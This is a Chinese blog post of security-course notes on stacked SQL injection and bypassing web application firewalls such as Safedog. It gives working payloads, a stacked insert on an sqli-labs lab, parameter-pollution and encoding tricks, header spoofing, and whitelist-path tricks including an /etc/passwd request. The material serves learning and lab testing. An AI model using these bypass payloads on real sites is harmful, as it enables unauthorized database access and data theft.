第18篇：WEB漏洞~SQL注入~堆叠及WAF绕过注入

已于 2022-08-06 15:55:46 修改
阅读量505 收藏 2
点赞数
分类专栏： 小迪安全 文章标签： 前端 sql 数据库
于 2022-08-02 08:13:12 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42438245/article/details/125703815
版权

目录

在这里插入图片描述

1. 正文

1.1. 堆叠注入

  1. 堆叠注入。Stacked injections，一堆sql语句（多条）一起执行。真实的mysql运用，主要是命令行中，每一条语句结尾加;表示语句结束。这样可以多句一起使用，即堆叠注入
  2. 堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到API或者数据库引擎的不支持的限制，当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些数据。

1.2. 拦截数据

  • 特殊符号：添加杂项字符，既使匹配不到关键字，又不影响语句正常使用。
  • 反序列化：将数据以反序列化格式传递，目标代码需要支持反序列化
  • 注释符混用：使用注释符干扰特殊匹配，注释符具体数据库不一

安全狗拦截的是database()，使用select database/**/(); /**/为sql数据库注释符，不影响数据库语句执行

#部分 bypass sqlinject payload
id=1 union/%00/%23a%0A/!/!select 1,2,3*/;%23
id=-1 union/%00/%23a%0A/!/!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/!44509select/%201,2,3%23
id=-1%20union%20/!44509select/%201,%23x%0A/!database/(),3%23
id=1/&id=-1%20union%20select%201,2,3%23*/
id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase//(),3%23

1.2. fuzz

fuzz：模糊测试
根据特殊字符插入位置，海量测试替换符号字母，测试可以使用的编写方式

2. 示例

2.1. Sqlilabs-Less38-堆叠注入（多语句）

堆叠注入即为：注入中加上另外的语句一起执行

http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

使用场景举例：
注入需要管理员账号密码，密码是加密的，无法解密
堆叠注入进行插入数据，用户密码自定义的，可以正常解密登录
记得创建账号插入到管理员组

2.2. WAF部署-安全狗、宝塔等WAF搭建部署

2.3. 简要讲解安全狗、宝塔等防护WAF策略规则

宝塔是一键搭建网站（同phpStudy）工具，但含有防护插件，
由于防护权限全开或者多开会造成正常访问被拦截，因此存在根据WAF的检测项目的区别，有了绕过的可能性。即WAF的绕过是找检测规则有缺陷

防护规则常见于

  • 提交方式拦截。如以GET接受参数时无法and 1=1，更换参数提交方式即可绕过，但是常存在网站代码不接收其他提交方式的参数 （不如直接卸载安全狗）
  • 关键字检索。WAF拦截请求使用类似于正则表达式，匹配到相应的查找则拦截访问，比如防止检测到union和select连接出现，可以尝试大小写、加解密、编码解码等

2.4. 简要演示安全狗 bypass sqlinject防护规则

2.4.1. 联合查询

union和select同时出现，即触发禁止联合查询防护
可以尝试添加注释符在关键词中间，WAF过滤时检查正常，引入数据库是也可正常运行

#部分bypass  sqlinjuect payload
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23

#a 换行
%0A 换行

id=1 union/%00/%23a%0A/!/!select 1,2,3*/;%23

URL编码表，以上转译为：

id=1 union #a
select 1,2,3;#

2.4.2. 参数污染

源于不同的网站对处理参数的处理方式不同，造成漏洞利用

Web服务器使用的获取参数函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/ApacheGetvalue(“par”))All(List)
ASP/IISASP/IISAll(comma-delimited string)
  1. <?php $x=$_GET['id']; echo $x; ?> 测试id=1&id=2
    在这里插入图片描述
  2. 以id=1&/**id=-1 union select 1,2,3#*/为例，安全狗匹配的时候匹配的是1/**-1 union select 1,2,3#*/或1/**&id=-1 union select 1,2,3#*/其中符号中起到注释作用，正常情况下没有执行，安全狗不予理睬，但是参数污染导致接收的真实数据是-1 union select 1,2,3#*/可以正常执行sql

2.4.3. 各种符号混用

旨在突破安全狗的检测，同时不影响注入语句在数据库中执行，这个用fuzz脚本尝试海量测试
在这里插入图片描述

2.5. 实测简易CMS头部注入漏洞Bypass原理分析

3. 涉及

堆叠注入详解
关于【安全狗】在【phpstudy】中【无法找到apache服务名】的问题

以下属于参考大纲

#应用层

  • 大小写/关键字替换
    id=1 UnIoN/**/SeLeCT 1,user()
    Hex() bin() 等价于 ascii()
    Sleep() 等价于 benchmark()
    Mid()substring() 等价于 substr()
    @@user 等价于 User()
    @@Version 等价于 version()

  • 各种编码
    大小写，URL，hex，%0A 等

  • 注释使用
    // – --+ # // + :%00 /!/等

  • 再次循环
    union==uunionnion

  • 等价替换
    user()=@@user() and=& or=| ascii=hex 等

  • 参数污染
    ?id=1&id=2&id=3

  • 编码解码及加密解密
    s->%73->%25%37%33
    hex,unlcode,base64 等

  • 更改请求提交方式
    GET POST COOKIE 等
    POST->multipart/form-data

  • 中间件 HPP 参数污染

#数据库特性

  1. Mysql 技巧
    （1）mysql 注释符有三种：#、/…/、-- … (注意–后面有一个空格)
    （2）空格符:[0x09,0x0a-0x0d,0x20,0xa0]
    （3）特殊符号：%a 换行符
    可结合注释符使用%23%0a，%2d%2d%0a。
    （3）内联注释：
    /!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540
    （4）mysql 黑魔法
    select{x username}from {x11 test.admin};
  2. SQL Server 技巧
    （1）用来注释掉注射后查询的其余部分：
    /* C 语言风格注释
    – SQL 注释
    ; 00％ 空字节
    （2）空白符：[0x01-0x20]
    （3）特殊符号：%3a 冒号
    id=1 union:select 1,2 from:admin
    （4）函数变形：如 db_name空白字符
  3. Oracle 技巧
    （1）注释符：–、/**/
    （2）空白字符：[0x00,0x09，0x0a-0x0d,0x20]
  4. 配合 FUZZ
    select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】
    from【位置五】admin

#逻辑层

  1. 逻辑问题
    （1）云 waf 防护，一般我们会尝试通过查找站点的真实 IP，从而绕过 CDN 防护。
    （2）当提交GET、POST同时请求时，进入POST逻辑，而忽略了GET请求的有害参数输入,可尝试Bypass。
    （3）HTTP 和 HTTPS 同时开放服务，没有做 HTTP 到 HTTPS 的强制跳转，导致 HTTPS 有 WAF 防护，HTTP
    没有防护，直接访问 HTTP 站点绕过防护。
    （4）特殊符号%00，部分 waf 遇到%00 截断，只能获取到前面的参数，无法获取到后面的有害参数
    输 入 ， 从 而 导 致 Bypass 。 比 如 ： id=1%00and 1=2 union select 1,2,column_name from
    information_schema.columns
  2. 性能问题
    猜想 1：在设计 WAF 系统时，考虑自身性能问题，当数据量达到一定层级，不检测这部分数据。只
    要不断的填充数据，当数据达到一定数目之后，恶意代码就不会被检测了。
    猜想 2：不少 WAF 是 C 语言写的，而 C 语言自身没有缓冲区保护机制，因此如果 WAF 在处理测试向
    量时超出了其缓冲区长度就会引发 bug，从而实现绕过。
    例子 1：
    ?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
    PS：0xA    1000 指 0xA 后面”A"重复 1000 次，一般来说对应用软件构成缓冲区溢出都需要较大的测试
    长度，这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。
    例子 2：
    ?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from
    INFORMATION_SCHEMA.schemata
    备注：获取请求参数，只获取前 100 个参数，第 101 个参数并没有获取到，导致 SQL 注入绕过。
  3. 白名单
    方式一：IP 白名单
    从网络层获取的 ip，这种一般伪造不来，如果是获取客户端的 IP，这样就可能存在伪造 IP 绕过的情
    况。
    测试方法：修改 http 的 header 来 bypass waf
    X-forwarded-for
    X-remote-IP
    X-originating-IP
    x-remote-addr
    X-Real-ip
    前提需要知道对方的IP白名单有什么，可以尝试服务器的IP令服务器疑惑为本地请求
    二要点是对方接收IP的网络分层。TCP/IP协议中获取等会造成无法使用白名单
    不常用，因为条件苛刻
    方式二：静态资源
    特定的静态资源后缀请求，常见的静态文件(.js .jpg .swf .css 等等)，类似白名单机制，waf 为了检测
    效率，不去检测这样一些静态文件名后缀的请求。
    http://10.9.9.201/sql.php?id=1
    http://10.9.9.201/sql.php/1.js?id=1
    备注：Aspx/php 只识别到前面的.aspx/.php 后面基本不识别
    方式三：url 白名单
    为了防止误拦，部分 waf 内置默认的白名单列表，如 admin/manager/system 等管理后台。只要 url
    中存在白名单的字符串，就作为白名单不进行检测。常见的 url 构造姿势；
    http://10.9.9.201/sql.php/admin/php?id=1
    http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
    http://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
    waf通过/manage/进行比较，只要url中存在/manage/就作为白名单不进行检测，这样我们可以通过/sql.php?1=manage/&b=…/etc/passwd绕过防御规则。
廖一语山
关注
专栏目录
SQL注入和sql-labs通关1-18（手工注入、高权限注入、文件读写、提交方式、查询方式、WAF绕过、sqlmap）
m0_61506558的博客
07-25 865
对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。......
sql注入详解
m0_67392811的博客
06-12 6028
目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言（Structured Query Language，缩写：SQL），是一种特殊的编程语言，用于数据库中的标准数据查询语言。SQL注入（SQL Injection）是一种常见的Web安全漏洞，主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没
Sql漏洞注入之堆叠注入
Matheus的博客
07-30 1174
堆叠注入 堆叠查询注入介绍 Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句（多条）一起执行。而在真实的运用中也是这样的，我们知道在mysql中，主要是命令行中，每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql 语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而 unioninje
小迪安全学习笔记--第18天：web漏洞--SQL注入之堆叠以及waf绕过
zr1213159840的博客
12-15 816
堆叠注入 stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的，我们知道在mysql 中，主要是命令行中，每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。 堆叠注入其实就是多条语句的执行。堆叠注入是存在局限性的，可能受到API或者数据库引擎的限制。可以通过堆叠注入向管理员表插入用户名和密码。 绕过 参数污染：当一个提交的内容中包含多个参数的时候，会根据不同的
WEB漏洞-SQL注入之堆叠查询及WAF绕过
xhscxj的博客
01-17 961
堆叠注入 语句： select username from user where id = 1;select password from user; 在原本的语句后面加上分号使其结束，再在后面写上另外的查询语句。 相当于自己又加入了一条查询语句，两条语句一起查询。 堆叠注入实现例子 后面加入的语句与功能自己按需要构造 绕过WAF 安全狗 提交方式绕过 目标网站有安全狗，并对url进行拦截时 如果目标网站的接收方式是$_REQUEST（即可接收GET提交，也可以接收POST提交），则可以，通过post
mysql 注入 waf_SQL注入之WAF-Bypass
weixin_34050162的博客
01-27 419
title: SQL注入之WAF Bypassdate: 2019-05-07 12:00:26tags:- Mysql- SQL注入- Bypass- WAFcategories:- Web安全- SQL注入针对CTF中SQL注入题里的绕过过滤，Bypass WAF做的一些归纳总结。前言之前做SQL注入相关的CTF题，总是有力不从心的感觉，每次都会被过滤搞到自闭，也是因为自己没有好好总结，导致遇...
第二章：遇到阻难！绕过WAF过滤！【SQL注入攻击】
野马菲比的博客
07-21 1084
爆破andexists(select*from表名)，如果页面返回正常，就存在这个表。exists这个函数就是检查子查询能否查询到数据，如果能会返回一个True。靶场http//kypt8004.ia.aqlab.cn/根据md5的特征，猜测为md5加密；解密为welcome。1、判断是否存在注入，发现有过滤。说明存在admin表。如果不知道字段怎么办？就一个库，无需知道。...
第18天：WEB漏洞-SQL注入之堆叠及WAF绕过注入1
08-03
WEB 漏洞-SQL 注入之堆叠及 WAF 绕过注入 SQL 注入是一种常见的 WEB 漏洞攻击方式，通过将恶意 SQL 语句嵌入到 Web 应用程序的输入参数中，从而访问、修改或控制数据库的数据。堆叠注入（Stacked Injections）是 ...
B站小迪安全笔记第十八天-SQL注入堆叠及waf绕过注入
m0_61530426的博客
07-29 604
B站小迪安全笔记
WEB漏洞攻防 - SQL注入 - 堆叠注入
易编橙 · 终身成长社群，相遇已是上上签！
07-31 777
实际应用场景中,堆叠注入遇到的会很少，大部分会在CTF比赛中遇到。主要原因是，堆叠注入的利用看起来很厉害但是其可能会受到 API、数据库引擎或者权限的控制。只有当调用函数库函数支持执行多条语句执行的时候才可以利用。
18、SQL注入之堆叠及WAF绕过注入
山兔的博客
08-08 386
所以WAF绕过是针对某个漏洞、某个攻击方式的绕过，不是单纯的说怎么绕过，我们能不能进行突破，绕过是有个目标的，这个绕过的东西不一样，方法和思路是不一样的，因为每个东西都有相应的检测规则和绕过方式。程序员在开发这款软件的时候，它会有这个检测，检测是通过代码实现的，所以检测的全，我们就无法绕过，检测的不全，我们就有空子可以钻；我们在实际测试过后，我们这个思路会有点险隘，这个时候，我们就把可能性写到脚本里面，让脚本去帮我们跑，跑出来之后，分析为什么能绕过就完事了，上面那些绕过语句，全都是用fuzz跑出来的。
第18天-WEB漏洞-SQL注入之堆叠及WAF绕过注入
MCTSOG的博客
03-02 1450
​ 实际渗透测试过程中，经常会碰到网站存在WAF的情况。网站存在WAF，意味着我们不能使用安全工具对网站进行测试，因为一旦触碰了WAF的规则，轻则丢弃报文，重则拉黑IP。所以，我们需要手动进行WAF的绕过，而绕过WAF前肯定需要对WAF的工作原理有一定的理解。 堆叠查询注入 （局限性：只产生在部分数据库） ​ Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条
堆叠注入原理解析
qq_45927819的博客
03-19 7908
文章目录一、堆叠注入原理二、堆叠注入触发条件三、题目 一、堆叠注入原理 mysql数据库sql语句的默认结束符是以;结尾，在执行多条SQL语句时就要使用结束符隔开，那么在;结束一条sql语句后继续构造下一条语句，是否会一起执行？ 因此这个想法也就造就了堆叠注入 二、堆叠注入触发条件 堆叠注入触发的条件很苛刻，因为堆叠注入原理就是通过结束符同时执行多条sql语句，这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法，例如php中的mysqli_multi_query函数。但与之相对应的mysql
那些可以绕过WAF的各种特性
热门推荐
03-23 2万+
我们一般将安全防护软件划分为：云WAF、硬件waf、主机防护软件、软件waf等。在攻防实战中，往往需要掌握一些特性，比如服务器、数据库、应用层、WAF层...
SQL注入之堆叠及WAF绕过注入
av11566的博客
04-21 4628
前言 在实际的渗透测试过程中，经常会碰到网站存在WAF的情况。网站存在WAF，意味着我们不能使用安全工具对网站进行测试，因为一旦触碰了WAF的规则，轻则丢弃报文，重则拉黑IP。所以，我们需要手动进行WAF的绕过，而绕过WAF前肯定需要对WAF的工作原理有一定的理解。 所需知识 1. 堆叠查询注入 定义 Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实 的运用中也是这样的,我们知道在mysql中,主要是命令行中,每
前端用html写excel文件直接打开
全易
09-10 543
html文件直接用excel打开
[项目][WebServer][日志设计]详细讲解
SnowK博客
09-11 4402
[项目][WebServer][日志设计]详细讲解
前端HTML+CSS+JS的入门学习
m0_59247951的博客
09-10 1468
和</p>，其中<p>是开始标签，表示一个段落的开始，而
​美​团​一​面​
最新发布
qq_43858368的博客
09-14 900
同步代码：按照代码的书写顺序立即执行。异步代码：通过关键字，异步操作会被放入微任务队列中等待执行。事件循环：在同步代码执行完毕后，事件循环会检查并执行微任务队列中的任务。async2script endasync1 end这个顺序反映了JavaScript中同步与异步代码的执行机制以及事件循环的工作原理。定义：HEAD请求是一种HTTP方法，它请求服务器返回与GET请求相同的响应头部，但不返回响应的主体部分。用途：主要用于获取资源的元信息，如文件大小、最后修改时间等，而无需下载整个资源。定义。
WEB漏洞：SQL堆叠注入与WAF绕过技术解析
"本文主要探讨了WEB漏洞中的SQL注入，特别是堆叠查询注入和如何绕过WAF（Web Application Firewall）的防护。堆叠注入是通过执行多条SQL语句来实现攻击，而WAF绕过则涉及到各种技巧和payload。文章提到了一些常见的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值